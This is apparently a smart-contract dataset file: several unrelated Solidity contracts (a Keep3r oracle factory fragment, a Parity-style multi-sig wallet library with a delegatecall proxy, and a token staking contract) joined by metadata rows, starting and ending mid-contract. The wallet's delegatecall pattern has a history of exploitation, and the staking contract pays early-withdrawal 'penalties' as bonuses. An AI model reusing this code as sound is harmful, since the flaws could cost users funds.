function sample(address tokenIn, uint amountIn, address tokenOut, uint points, uint window) external view returns (uint[] memory prices, uint lastUpdatedAgo) {
(address token0,) = tokenIn < tokenOut ? (tokenIn, tokenOut) : (tokenOut, tokenIn);
prices = new uint[](points);
if (token0 == tokenIn) {
{
uint _length = length-1;
uint i = _length - (points * window);
uint _index = 0;
Observation memory nextObservation;
for (; i < _length; i+=window) {
Observation memory currentObservation;
currentObservation = observations[i];
nextObservation = observations[i + window];
prices[_index] = _computeAmountOut(currentObservation.price0Cumulative,
nextObservation.price0Cumulative,
nextObservation.timestamp - currentObservation.timestamp, amountIn);
_index = _index + 1;
}
(,,uint timestamp) = IUniswapV2Pair(pair).getReserves();
lastUpdatedAgo = timestamp - nextObservation.timestamp;
}
} else {
{
uint _length = length-1;
uint i = _length - (points * window);
uint _index = 0;
Observation memory nextObservation;
for (; i < _length; i+=window) {
Observation memory currentObservation;
currentObservation = observations[i];
nextObservation = observations[i + window];
prices[_index] = _computeAmountOut(currentObservation.price1Cumulative,
nextObservation.price1Cumulative,
nextObservation.timestamp - currentObservation.timestamp, amountIn);
_index = _index + 1;
}
(,,uint timestamp) = IUniswapV2Pair(pair).getReserves();
lastUpdatedAgo = timestamp - nextObservation.timestamp;
}
}
}
}
contract Keep3rV2OracleFactory {
function pairForSushi(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint160(uint256(keccak256(abi.encodePacked(hex'ff',
0xc35DADB65012eC5796536bD9864eD8773aBc74C4,
keccak256(abi.encodePacked(token0, token1)),
hex'e18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303' // init code hash)))));
}
function pairForUni(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint160(uint256(keccak256(abi.encodePacked(hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash)))));
}
modifier keeper() {
require(KP3R.keepers(msg.sender), "!K");
_;
}
modifier upkeep() {
uint _gasUsed = gasleft();
require(KP3R.keepers(msg.sender), "!K");
_;
uint _received = KP3R.KPRH().getQuoteLimit(_gasUsed - gasleft());
KP3R.receipt(address(KP3R), msg.sender, _received);
}
address public governance;
address public pendingGovernance;
function setGovernance(address _governance) external {
require(msg.sender == governance, "!G");
pendingGovernance = _governance;
}
function acceptGovernance() external {
require(msg.sender == pendingGovernance, "!pG");
governance = pendingGovernance;
}
IKeep3rV1 public constant KP3R = IKeep3rV1(0x1cEB5cB57C4D4E2b2433641b95Dd330A33185A44);
address[] internal _pairs;
mapping(address => Keep3rV2Oracle) public feeds;
function pairs() external view returns (address[] memory) {
return _pairs;
}
constructor() {
governance = msg.sender;
}
function update(address pair) external keeper returns (bool) {
return feeds[pair].update();
}
function byteCode(address pair) external pure returns (bytes memory bytecode) {
bytecode = abi.encodePacked(type(Keep3rV2Oracle).creationCode, abi.encode(pair));
}
function deploy(address pair) external returns (address feed) {
require(msg.sender == governance, "!G");
require(address(feeds[pair]) == address(0), 'PE');
bytes memory bytecode = abi.encodePacked(type(Keep3rV2Oracle).creationCode, abi.encode(pair));
bytes32 salt = keccak256(abi.encodePacked(pair));
assembly {
feed := create2(0, add(bytecode, 0x20), mload(bytecode), salt)
if iszero(extcodesize(feed)) {
revert(0, 0)
}
}
feeds[pair] = Keep3rV2Oracle(feed);
_pairs.push(pair);
}
function work() external upkeep {
require(workable(), "!W");
for (uint i = 0; i < _pairs.length; i++) {
feeds[_pairs[i]].update();
}
}
function work(address pair) external upkeep {
require(feeds[pair].update(), "!W");
}
function workForFree() external keeper {
for (uint i = 0; i < _pairs.length; i++) {
feeds[_pairs[i]].update();
}
}
function workForFree(address pair) external keeper {
feeds[pair].update();
}
function cache(uint size) external {
for (uint i = 0; i < _pairs.length; i++) {
feeds[_pairs[i]].cache(size);
}
}
function cache(address pair, uint size) external {
feeds[pair].cache(size);
}
function workable() public view returns (bool canWork) {
canWork = true;
for (uint i = 0; i < _pairs.length; i++) {
if (!feeds[_pairs[i]].updateable()) {
canWork = false;
}
}
}
function workable(address pair) public view returns (bool) {
return feeds[pair].updateable();
}
function sample(address tokenIn, uint amountIn, address tokenOut, uint points, uint window, bool sushiswap) external view returns (uint[] memory prices, uint lastUpdatedAgo) {
address _pair = sushiswap ? pairForSushi(tokenIn, tokenOut) : pairForUni(tokenIn, tokenOut);
return feeds[_pair].sample(tokenIn, amountIn, tokenOut, points, window);
}
function sample(address pair, address tokenIn, uint amountIn, address tokenOut, uint points, uint window) external view returns (uint[] memory prices, uint lastUpdatedAgo) {
return feeds[pair].sample(tokenIn, amountIn, tokenOut, points, window);
}
function quote(address tokenIn, uint amountIn, address tokenOut, uint points, bool sushiswap) external view returns (uint amountOut, uint lastUpdatedAgo) {
address _pair = sushiswap ? pairForSushi(tokenIn, tokenOut) : pairForUni(tokenIn, tokenOut);
return feeds[_pair].quote(tokenIn, amountIn, tokenOut, points);
}
function quote(address pair, address tokenIn, uint amountIn, address tokenOut, uint points) external view returns (uint amountOut, uint lastUpdatedAgo) {
return feeds[pair].quote(tokenIn, amountIn, tokenOut, points);
}
function current(address tokenIn, uint amountIn, address tokenOut, bool sushiswap) external view returns (uint amountOut, uint lastUpdatedAgo) {
address _pair = sushiswap ? pairForSushi(tokenIn, tokenOut) : pairForUni(tokenIn, tokenOut);
return feeds[_pair].current(tokenIn, amountIn, tokenOut);
}
function current(address pair, address tokenIn, uint amountIn, address tokenOut) external view returns (uint amountOut, uint lastUpdatedAgo) {
return feeds[pair].current(tokenIn, amountIn, tokenOut);
}
}
| 283,493 | 10,378 |
a8013bff201e34d36e853ea398fbd29952623246515b9723c5cd5019f77d03d3
| 15,621 |
.sol
|
Solidity
| false |
129086023
|
parity-contracts/0x863df6bfa4
|
507fc5aa9113c7dfb52a92cc0a4052c5a4c13e66
|
contracts/walletLibrary.sol
| 4,617 | 14,621 |
//sol Wallet
// Multi-sig, daily-limited account proxy/wallet.
// @authors:
// Gav Wood <g@ethdev.com>
// single, or, crucially, each of a number of, designated owners.
// usage:
// interior is executed.
pragma solidity ^0.4.9;
contract WalletEvents {
// EVENTS
// this contract only has six types of events: it can accept a confirmation, in which case
// we record owner and operation (hash) alongside it.
event Confirmation(address owner, bytes32 operation);
event Revoke(address owner, bytes32 operation);
// some others are in the case of an owner changing.
event OwnerChanged(address oldOwner, address newOwner);
event OwnerAdded(address newOwner);
event OwnerRemoved(address oldOwner);
// the last one is emitted if the required signatures change
event RequirementChanged(uint newRequirement);
// Funds has arrived into the wallet (record how much).
event Deposit(address _from, uint value);
event SingleTransact(address owner, uint value, address to, bytes data, address created);
event MultiTransact(address owner, bytes32 operation, uint value, address to, bytes data, address created);
// Confirmation still needed for a transaction.
event ConfirmationNeeded(bytes32 operation, address initiator, uint value, address to, bytes data);
}
contract WalletAbi {
// Revokes a prior confirmation of the given operation
function revoke(bytes32 _operation) external;
// Replaces an owner `_from` with another `_to`.
function changeOwner(address _from, address _to) external;
function addOwner(address _owner) external;
function removeOwner(address _owner) external;
function changeRequirement(uint _newRequired) external;
function isOwner(address _addr) constant returns (bool);
function hasConfirmed(bytes32 _operation, address _owner) external constant returns (bool);
function setDailyLimit(uint _newLimit) external;
function execute(address _to, uint _value, bytes _data) external returns (bytes32 o_hash);
function confirm(bytes32 _h) returns (bool o_success);
}
contract WalletLibrary is WalletEvents {
// TYPES
// struct for the status of a pending operation.
struct PendingState {
uint yetNeeded;
uint ownersDone;
uint index;
}
// Transaction structure to remember details of transaction lest it need be saved for a later call.
struct Transaction {
address to;
uint value;
bytes data;
}
// MODIFIERS
// simple single-sig function modifier.
modifier onlyowner {
if (isOwner(msg.sender))
_;
}
// multi-sig function modifier: the operation must have an intrinsic hash in order
// that later attempts can be realised as the same underlying operation and
// thus count as confirmations.
modifier onlymanyowners(bytes32 _operation) {
if (confirmAndCheck(_operation))
_;
}
// LIBRARY CONSTRUCTOR
// calls the `initWallet` method
function WalletLibrary() {
address[] noOwners;
noOwners.push(address(0x0));
initWallet(noOwners, 1, 0);
}
// METHODS
// gets called when no other function matches
function() payable {
// just being sent some cash?
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
// constructor is given number of sigs required to do protected "onlymanyowners" transactions
// as well as the selection of addresses capable of confirming them.
function initMultiowned(address[] _owners, uint _required) only_uninitialized internal {
require(_required > 0);
require(_owners.length >= _required);
m_numOwners = _owners.length;
for (uint i = 0; i < _owners.length; ++i)
{
m_owners[1 + i] = uint(_owners[i]);
m_ownerIndex[uint(_owners[i])] = 1 + i;
}
m_required = _required;
}
// Revokes a prior confirmation of the given operation
function revoke(bytes32 _operation) external {
uint ownerIndex = m_ownerIndex[uint(msg.sender)];
// make sure they're an owner
if (ownerIndex == 0) return;
uint ownerIndexBit = 2**ownerIndex;
var pending = m_pending[_operation];
if (pending.ownersDone & ownerIndexBit > 0) {
pending.yetNeeded++;
pending.ownersDone -= ownerIndexBit;
Revoke(msg.sender, _operation);
}
}
// Replaces an owner `_from` with another `_to`.
function changeOwner(address _from, address _to) onlymanyowners(sha3(msg.data)) external {
if (isOwner(_to)) return;
uint ownerIndex = m_ownerIndex[uint(_from)];
if (ownerIndex == 0) return;
clearPending();
m_owners[ownerIndex] = uint(_to);
m_ownerIndex[uint(_from)] = 0;
m_ownerIndex[uint(_to)] = ownerIndex;
OwnerChanged(_from, _to);
}
function addOwner(address _owner) onlymanyowners(sha3(msg.data)) external {
if (isOwner(_owner)) return;
clearPending();
if (m_numOwners >= c_maxOwners)
reorganizeOwners();
if (m_numOwners >= c_maxOwners)
return;
m_numOwners++;
m_owners[m_numOwners] = uint(_owner);
m_ownerIndex[uint(_owner)] = m_numOwners;
OwnerAdded(_owner);
}
function removeOwner(address _owner) onlymanyowners(sha3(msg.data)) external {
uint ownerIndex = m_ownerIndex[uint(_owner)];
if (ownerIndex == 0) return;
if (m_required > m_numOwners - 1) return;
m_owners[ownerIndex] = 0;
m_ownerIndex[uint(_owner)] = 0;
clearPending();
reorganizeOwners(); //make sure m_numOwner is equal to the number of owners and always points to the optimal free slot
OwnerRemoved(_owner);
}
function changeRequirement(uint _newRequired) onlymanyowners(sha3(msg.data)) external {
if (_newRequired > m_numOwners) return;
m_required = _newRequired;
clearPending();
RequirementChanged(_newRequired);
}
// Gets an owner by 0-indexed position (using numOwners as the count)
function getOwner(uint ownerIndex) external constant returns (address) {
return address(m_owners[ownerIndex + 1]);
}
function isOwner(address _addr) constant returns (bool) {
return m_ownerIndex[uint(_addr)] > 0;
}
function hasConfirmed(bytes32 _operation, address _owner) external constant returns (bool) {
var pending = m_pending[_operation];
uint ownerIndex = m_ownerIndex[uint(_owner)];
// make sure they're an owner
if (ownerIndex == 0) return false;
// determine the bit to set for this owner.
uint ownerIndexBit = 2**ownerIndex;
return !(pending.ownersDone & ownerIndexBit == 0);
}
// constructor - stores initial daily limit and records the present day's index.
function initDaylimit(uint _limit) only_uninitialized internal {
m_dailyLimit = _limit;
m_lastDay = today();
}
function setDailyLimit(uint _newLimit) onlymanyowners(sha3(msg.data)) external {
m_dailyLimit = _newLimit;
}
// resets the amount already spent today. needs many of the owners to confirm.
function resetSpentToday() onlymanyowners(sha3(msg.data)) external {
m_spentToday = 0;
}
// throw unless the contract is not yet initialized.
modifier only_uninitialized { if (m_numOwners > 0) throw; _; }
// constructor - just pass on the owner array to the multiowned and
// the limit to daylimit
function initWallet(address[] _owners, uint _required, uint _daylimit) only_uninitialized internal {
initDaylimit(_daylimit);
initMultiowned(_owners, _required);
}
// Outside-visible transact entry point. Executes transaction immediately if below daily spend limit.
// If not, goes into multisig process. We provide a hash on return to allow the sender to provide
// shortcuts for the other confirmations (allowing them to avoid replicating the _to, _value
// and _data arguments). They still get the option of using them if they want, anyways.
function execute(address _to, uint _value, bytes _data) external onlyowner returns (bytes32 o_hash) {
// first, take the opportunity to check that we're under the daily limit.
if ((_data.length == 0 && underLimit(_value)) || m_required == 1) {
// yes - just execute the call.
address created;
if (_to == 0) {
created = create(_value, _data);
} else {
if (!_to.call.value(_value)(_data))
throw;
}
SingleTransact(msg.sender, _value, _to, _data, created);
} else {
// determine our operation hash.
o_hash = sha3(msg.data, block.number);
// store if it's new
if (m_txs[o_hash].to == 0 && m_txs[o_hash].value == 0 && m_txs[o_hash].data.length == 0) {
m_txs[o_hash].to = _to;
m_txs[o_hash].value = _value;
m_txs[o_hash].data = _data;
}
if (!confirm(o_hash)) {
ConfirmationNeeded(o_hash, msg.sender, _value, _to, _data);
}
}
}
function create(uint _value, bytes _code) internal returns (address o_addr) {
assembly {
o_addr := create(_value, add(_code, 0x20), mload(_code))
jumpi(invalidJumpLabel, iszero(extcodesize(o_addr)))
}
}
// confirm a transaction through just the hash. we use the previous transactions map, m_txs, in order
// to determine the body of the transaction from the hash provided.
function confirm(bytes32 _h) onlymanyowners(_h) returns (bool o_success) {
if (m_txs[_h].to != 0 || m_txs[_h].value != 0 || m_txs[_h].data.length != 0) {
address created;
if (m_txs[_h].to == 0) {
created = create(m_txs[_h].value, m_txs[_h].data);
} else {
if (!m_txs[_h].to.call.value(m_txs[_h].value)(m_txs[_h].data))
throw;
}
MultiTransact(msg.sender, _h, m_txs[_h].value, m_txs[_h].to, m_txs[_h].data, created);
delete m_txs[_h];
return true;
}
}
// INTERNAL METHODS
function confirmAndCheck(bytes32 _operation) internal returns (bool) {
// determine what index the present sender is:
uint ownerIndex = m_ownerIndex[uint(msg.sender)];
// make sure they're an owner
if (ownerIndex == 0) return;
var pending = m_pending[_operation];
// if we're not yet working on this operation, switch over and reset the confirmation status.
if (pending.yetNeeded == 0) {
// reset count of confirmations needed.
pending.yetNeeded = m_required;
// reset which owners have confirmed (none) - set our bitmap to 0.
pending.ownersDone = 0;
pending.index = m_pendingIndex.length++;
m_pendingIndex[pending.index] = _operation;
}
// determine the bit to set for this owner.
uint ownerIndexBit = 2**ownerIndex;
// make sure we (the message sender) haven't confirmed this operation previously.
if (pending.ownersDone & ownerIndexBit == 0) {
Confirmation(msg.sender, _operation);
// ok - check if count is enough to go ahead.
if (pending.yetNeeded <= 1) {
// enough confirmations: reset and run interior.
delete m_pendingIndex[m_pending[_operation].index];
delete m_pending[_operation];
return true;
}
else
{
// not enough: record that this owner in particular confirmed.
pending.yetNeeded--;
pending.ownersDone |= ownerIndexBit;
}
}
}
function reorganizeOwners() private {
uint free = 1;
while (free < m_numOwners)
{
while (free < m_numOwners && m_owners[free] != 0) free++;
while (m_numOwners > 1 && m_owners[m_numOwners] == 0) m_numOwners--;
if (free < m_numOwners && m_owners[m_numOwners] != 0 && m_owners[free] == 0)
{
m_owners[free] = m_owners[m_numOwners];
m_ownerIndex[m_owners[free]] = free;
m_owners[m_numOwners] = 0;
}
}
}
// returns true. otherwise just returns false.
function underLimit(uint _value) internal onlyowner returns (bool) {
// reset the spend limit if we're on a different day to last time.
if (today() > m_lastDay) {
m_spentToday = 0;
m_lastDay = today();
}
// check to see if there's enough left - if so, subtract and return true.
// overflow protection // dailyLimit check
if (m_spentToday + _value >= m_spentToday && m_spentToday + _value <= m_dailyLimit) {
m_spentToday += _value;
return true;
}
return false;
}
// determines today's index.
function today() private constant returns (uint) { return now / 1 days; }
function clearPending() internal {
uint length = m_pendingIndex.length;
for (uint i = 0; i < length; ++i) {
delete m_txs[m_pendingIndex[i]];
if (m_pendingIndex[i] != 0)
delete m_pending[m_pendingIndex[i]];
}
delete m_pendingIndex;
}
// FIELDS
address constant _walletLibrary = 0xcafecafecafecafecafecafecafecafecafecafe;
// the number of owners that must confirm the same operation before it is run.
uint public m_required;
// pointer used to find a free slot in m_owners
uint public m_numOwners;
uint public m_dailyLimit;
uint public m_spentToday;
uint public m_lastDay;
// list of owners
uint[256] m_owners;
uint constant c_maxOwners = 250;
// index on the list of owners to allow reverse lookup
mapping(uint => uint) m_ownerIndex;
// the ongoing operations.
mapping(bytes32 => PendingState) m_pending;
bytes32[] m_pendingIndex;
// pending transactions we have at present.
mapping (bytes32 => Transaction) m_txs;
}
contract Wallet is WalletEvents {
// WALLET CONSTRUCTOR
// calls the `initWallet` method of the Library in this context
function Wallet(address[] _owners, uint _required, uint _daylimit) {
// Signature of the Wallet Library's init function
bytes4 sig = bytes4(sha3("initWallet(address[],uint256,uint256)"));
address target = _walletLibrary;
// Compute the size of the call data : arrays has 2
// 32bytes for offset and length, plus 32bytes per element ;
// plus 2 32bytes for each uint
uint argarraysize = (2 + _owners.length);
uint argsize = (2 + argarraysize) * 32;
assembly {
// Add the signature first to memory
mstore(0x0, sig)
// Add the call data, which is at the end of the
// code
codecopy(0x4, sub(codesize, argsize), argsize)
// Delegate call to the library
delegatecall(sub(gas, 10000), target, 0x0, add(argsize, 0x4), 0x0, 0x0)
}
}
// METHODS
// gets called when no other function matches
function() payable {
// just being sent some cash?
if (msg.value > 0)
Deposit(msg.sender, msg.value);
else if (msg.data.length > 0)
_walletLibrary.delegatecall(msg.data);
}
// Gets an owner by 0-indexed position (using numOwners as the count)
function getOwner(uint ownerIndex) constant returns (address) {
return address(m_owners[ownerIndex + 1]);
}
// As return statement unavailable in fallback, explicit the method here
function hasConfirmed(bytes32 _operation, address _owner) external constant returns (bool) {
return _walletLibrary.delegatecall(msg.data);
}
function isOwner(address _addr) constant returns (bool) {
return _walletLibrary.delegatecall(msg.data);
}
// FIELDS
address constant _walletLibrary = 0xcafecafecafecafecafecafecafecafecafecafe;
// the number of owners that must confirm the same operation before it is run.
uint public m_required;
// pointer used to find a free slot in m_owners
uint public m_numOwners;
uint public m_dailyLimit;
uint public m_spentToday;
uint public m_lastDay;
// list of owners
uint[256] m_owners;
}
| 259,255 | 10,379 |
628a8d9dd814a1889165678a0ea413a18cf5ecca9fb0533c4c03611232ae91ac
| 23,214 |
.sol
|
Solidity
| false |
606585904
|
plotchy/defi-detective
|
f48830b1085dac002283a2ce5e565e341aab5d0c
|
00byaddress/005685a5a1889fc7bfc3e9c11657703a67fb663b.sol
| 5,182 | 19,492 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256){
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b,"Calculation error in multiplication");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256){
// Solidity only automatically asserts when dividing by 0
require(b > 0,"Calculation error in division");
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256){
require(b <= a,"Calculation error in subtraction");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256){
uint256 c = a + b;
require(c >= a,"Calculation error in addition");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256){
require(b != 0,"Calculation error");
return a % b;
}
}
contract IToken {
function totalSupply() public pure returns (uint256);
function balanceOf(address) public pure returns (uint256);
function allowance(address, address) public pure returns (uint256);
function transfer(address, uint256) public pure returns (bool);
function transferFrom(address, address, uint256) public pure returns (bool);
function approve(address, uint256) public pure returns (bool);
}
contract CoretoStaking {
using SafeMath for uint256;
address private _owner; // variable for Owner of the Contract.
uint256 private _withdrawTime; // variable to manage withdraw time for token
uint256 constant public PERIOD_SERENITY = 90; // variable constant for time period management for serenity pool
uint256 constant public PERIOD_EQUILIBRIUM = 180; // variable constant for time period management for equilibrium pool
uint256 constant public PERIOD_TRANQUILLITY = 270; // variable constant for time period management for tranquillity pool
uint256 constant public WITHDRAW_TIME_SERENITY = 45 * 1 days; // variable constant to manage withdraw time lock up for serenity
uint256 constant public WITHDRAW_TIME_EQUILIBRIUM = 90 * 1 days; // variable constant to manage withdraw time lock up for equilibrium
uint256 constant public WITHDRAW_TIME_TRANQUILLITY = 135 * 1 days; // variable constant to manage withdraw time lock up for tranquillity
uint256 constant public TOKEN_REWARD_PERCENT_SERENITY = 3555807; // variable constant to manage token reward percentage for serenity
uint256 constant public TOKEN_REWARD_PERCENT_EQUILIBRIUM = 10905365; // variable constant to manage token reward percentage for equilibrium
uint256 constant public TOKEN_REWARD_PERCENT_TRANQUILLITY = 26010053; // variable constant to manage token reward percentage for tranquillity
uint256 constant public TOKEN_PENALTY_PERCENT_SERENITY = 2411368; // variable constant to manage token penalty percentage for serenity
uint256 constant public TOKEN_PENALTY_PERCENT_EQUILIBRIUM = 7238052; // variable constant to manage token penalty percentage for equilibrium
uint256 constant public TOKEN_PENALTY_PERCENT_TRANQUILLITY = 14692434; // variable constant to manage token penalty percentage for tranquillity
uint256 constant public TOKEN_POOL_CAP = 25000000*(10**18); // variable constant to store maximaum pool cap value
// events to handle staking pause or unpause for token
event Paused();
event Unpaused();
function getowner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(),"You are not authenticate to make this transfer");
_;
}
function isOwner() internal view returns (bool) {
return msg.sender == _owner;
}
function transferOwnership(address newOwner) public onlyOwner returns (bool){
_owner = newOwner;
return true;
}
// constructor to declare owner of the contract during time of deploy
constructor() public {
_owner = msg.sender;
}
// Interface declaration for contract
IToken itoken;
// function to set Contract Address for Token Functions
function setContractAddress(address tokenContractAddress) external onlyOwner returns(bool){
itoken = IToken(tokenContractAddress);
return true;
}
// function to add token reward in contract
function addTokenReward(uint256 token) external onlyOwner returns(bool){
_ownerTokenAllowance = _ownerTokenAllowance.add(token);
itoken.transferFrom(msg.sender, address(this), token);
return true;
}
// function to withdraw added token reward in contract
function withdrawAddedTokenReward(uint256 token) external onlyOwner returns(bool){
require(token < _ownerTokenAllowance,"Value is not feasible, Please Try Again!!!");
_ownerTokenAllowance = _ownerTokenAllowance.sub(token);
itoken.transfer(msg.sender, token);
return true;
}
// function to get token reward in contract
function getTokenReward() public view returns(uint256){
return _ownerTokenAllowance;
}
// function to pause Token Staking
function pauseTokenStaking() public onlyOwner {
tokenPaused = true;
emit Paused();
}
// function to unpause Token Staking
function unpauseTokenStaking() public onlyOwner {
tokenPaused = false;
emit Unpaused();
}
// mapping for users with id => address Staking Address
mapping (uint256 => address) private _tokenStakingAddress;
// mapping for users with address => id staking id
mapping (address => uint256[]) private _tokenStakingId;
// mapping for users with id => Staking Time
mapping (uint256 => uint256) private _tokenStakingStartTime;
// mapping for users with id => End Time
mapping (uint256 => uint256) private _tokenStakingEndTime;
// mapping for users with id => Tokens
mapping (uint256 => uint256) private _usersTokens;
// mapping for users with id => Status
mapping (uint256 => bool) private _TokenTransactionstatus;
// mapping to keep track of final withdraw value of staked token
mapping(uint256=>uint256) private _finalTokenStakeWithdraw;
// mapping to keep track total number of staking days
mapping(uint256=>uint256) private _tokenTotalDays;
// variable to keep count of Token Staking
uint256 private _tokenStakingCount = 0;
// variable to keep track on reward added by owner
uint256 private _ownerTokenAllowance = 0;
// variable for token time management
uint256 private _tokentime;
// variable for token staking pause and unpause mechanism
bool public tokenPaused = false;
// variable for total Token staked by user
uint256 public totalStakedToken = 0;
// variable for total stake token in contract
uint256 public totalTokenStakesInContract = 0;
// variable for total stake token in a pool
uint256 public totalStakedTokenInSerenityPool = 0;
// variable for total stake token in a pool
uint256 public totalStakedTokenInEquilibriumPool = 0;
// variable for total stake token in a pool
uint256 public totalStakedTokenInTranquillityPool = 0;
// modifier to check the user for staking || Re-enterance Guard
modifier tokenStakeCheck(uint256 tokens, uint256 timePeriod){
require(tokens > 0, "Invalid Token Amount, Please Try Again!!! ");
require(timePeriod == PERIOD_SERENITY || timePeriod == PERIOD_EQUILIBRIUM || timePeriod == PERIOD_TRANQUILLITY, "Enter the Valid Time Period and Try Again !!!");
_;
}
// function to performs staking for user tokens for a specific period of time
function stakeToken(uint256 tokens, uint256 time) public tokenStakeCheck(tokens, time) returns(bool){
require(tokenPaused == false, "Staking is Paused, Please try after staking get unpaused!!!");
if(time == PERIOD_SERENITY){
require(totalStakedTokenInSerenityPool.add(tokens) <= TOKEN_POOL_CAP, "Serenity Pool Limit Reached");
_tokentime = now + (time * 1 days);
_tokenStakingCount = _tokenStakingCount +1;
_tokenTotalDays[_tokenStakingCount] = time;
_tokenStakingAddress[_tokenStakingCount] = msg.sender;
_tokenStakingId[msg.sender].push(_tokenStakingCount);
_tokenStakingEndTime[_tokenStakingCount] = _tokentime;
_tokenStakingStartTime[_tokenStakingCount] = now;
_usersTokens[_tokenStakingCount] = tokens;
_TokenTransactionstatus[_tokenStakingCount] = false;
totalStakedToken = totalStakedToken.add(tokens);
totalTokenStakesInContract = totalTokenStakesInContract.add(tokens);
totalStakedTokenInSerenityPool = totalStakedTokenInSerenityPool.add(tokens);
itoken.transferFrom(msg.sender, address(this), tokens);
} else if (time == PERIOD_EQUILIBRIUM) {
require(totalStakedTokenInEquilibriumPool.add(tokens) <= TOKEN_POOL_CAP, "Equilibrium Pool Limit Reached");
_tokentime = now + (time * 1 days);
_tokenStakingCount = _tokenStakingCount +1;
_tokenTotalDays[_tokenStakingCount] = time;
_tokenStakingAddress[_tokenStakingCount] = msg.sender;
_tokenStakingId[msg.sender].push(_tokenStakingCount);
_tokenStakingEndTime[_tokenStakingCount] = _tokentime;
_tokenStakingStartTime[_tokenStakingCount] = now;
_usersTokens[_tokenStakingCount] = tokens;
_TokenTransactionstatus[_tokenStakingCount] = false;
totalStakedToken = totalStakedToken.add(tokens);
totalTokenStakesInContract = totalTokenStakesInContract.add(tokens);
totalStakedTokenInEquilibriumPool = totalStakedTokenInEquilibriumPool.add(tokens);
itoken.transferFrom(msg.sender, address(this), tokens);
} else if(time == PERIOD_TRANQUILLITY) {
require(totalStakedTokenInTranquillityPool.add(tokens) <= TOKEN_POOL_CAP, "Tranquillity Pool Limit Reached");
_tokentime = now + (time * 1 days);
_tokenStakingCount = _tokenStakingCount +1;
_tokenTotalDays[_tokenStakingCount] = time;
_tokenStakingAddress[_tokenStakingCount] = msg.sender;
_tokenStakingId[msg.sender].push(_tokenStakingCount);
_tokenStakingEndTime[_tokenStakingCount] = _tokentime;
_tokenStakingStartTime[_tokenStakingCount] = now;
_usersTokens[_tokenStakingCount] = tokens;
_TokenTransactionstatus[_tokenStakingCount] = false;
totalStakedToken = totalStakedToken.add(tokens);
totalTokenStakesInContract = totalTokenStakesInContract.add(tokens);
totalStakedTokenInTranquillityPool = totalStakedTokenInTranquillityPool.add(tokens);
itoken.transferFrom(msg.sender, address(this), tokens);
} else {
return false;
}
return true;
}
// function to get staking count for token
function getTokenStakingCount() public view returns(uint256){
return _tokenStakingCount;
}
// function to get total Staked tokens
function getTotalStakedToken() public view returns(uint256){
return totalStakedToken;
}
// function to calculate reward for the message sender for token
function getTokenRewardDetailsByStakingId(uint256 id) public view returns(uint256){
if(_tokenTotalDays[id] == PERIOD_SERENITY) {
return (_usersTokens[id]*TOKEN_REWARD_PERCENT_SERENITY/100000000);
} else if(_tokenTotalDays[id] == PERIOD_EQUILIBRIUM) {
return (_usersTokens[id]*TOKEN_REWARD_PERCENT_EQUILIBRIUM/100000000);
} else if(_tokenTotalDays[id] == PERIOD_TRANQUILLITY) {
return (_usersTokens[id]*TOKEN_REWARD_PERCENT_TRANQUILLITY/100000000);
} else{
return 0;
}
}
// function to calculate penalty for the message sender for token
function getTokenPenaltyDetailByStakingId(uint256 id) public view returns(uint256){
if(_tokenStakingEndTime[id] > now){
if(_tokenTotalDays[id]==PERIOD_SERENITY){
return (_usersTokens[id]*TOKEN_PENALTY_PERCENT_SERENITY/100000000);
} else if(_tokenTotalDays[id] == PERIOD_EQUILIBRIUM) {
return (_usersTokens[id]*TOKEN_PENALTY_PERCENT_EQUILIBRIUM/100000000);
} else if(_tokenTotalDays[id] == PERIOD_TRANQUILLITY) {
return (_usersTokens[id]*TOKEN_PENALTY_PERCENT_TRANQUILLITY/100000000);
} else {
return 0;
}
} else{
return 0;
}
}
// function to withdraw staked tokens
function withdrawStakedTokens(uint256 stakingId) public returns(bool) {
require(_tokenStakingAddress[stakingId] == msg.sender,"No staked token found on this address and ID");
require(_TokenTransactionstatus[stakingId] != true,"Either tokens are already withdrawn or blocked by admin");
if(_tokenTotalDays[stakingId] == PERIOD_SERENITY){
require(now >= _tokenStakingStartTime[stakingId] + WITHDRAW_TIME_SERENITY, "Unable to Withdraw Staked token before 45 days of staking start time, Please Try Again Later!!!");
_TokenTransactionstatus[stakingId] = true;
if(now >= _tokenStakingEndTime[stakingId]){
_finalTokenStakeWithdraw[stakingId] = _usersTokens[stakingId].add(getTokenRewardDetailsByStakingId(stakingId));
itoken.transfer(msg.sender,_finalTokenStakeWithdraw[stakingId]);
totalTokenStakesInContract = totalTokenStakesInContract.sub(_usersTokens[stakingId]);
totalStakedTokenInSerenityPool = totalStakedTokenInSerenityPool.sub(_usersTokens[stakingId]);
_ownerTokenAllowance = _ownerTokenAllowance.sub(getTokenRewardDetailsByStakingId(stakingId));
} else {
_finalTokenStakeWithdraw[stakingId] = _usersTokens[stakingId].add(getTokenPenaltyDetailByStakingId(stakingId));
itoken.transfer(msg.sender,_finalTokenStakeWithdraw[stakingId]);
totalTokenStakesInContract = totalTokenStakesInContract.sub(_usersTokens[stakingId]);
totalStakedTokenInSerenityPool = totalStakedTokenInSerenityPool.sub(_usersTokens[stakingId]);
_ownerTokenAllowance = _ownerTokenAllowance.sub(getTokenPenaltyDetailByStakingId(stakingId));
}
} else if(_tokenTotalDays[stakingId] == PERIOD_EQUILIBRIUM){
require(now >= _tokenStakingStartTime[stakingId] + WITHDRAW_TIME_EQUILIBRIUM, "Unable to Withdraw Staked token before 90 days of staking start time, Please Try Again Later!!!");
_TokenTransactionstatus[stakingId] = true;
if(now >= _tokenStakingEndTime[stakingId]){
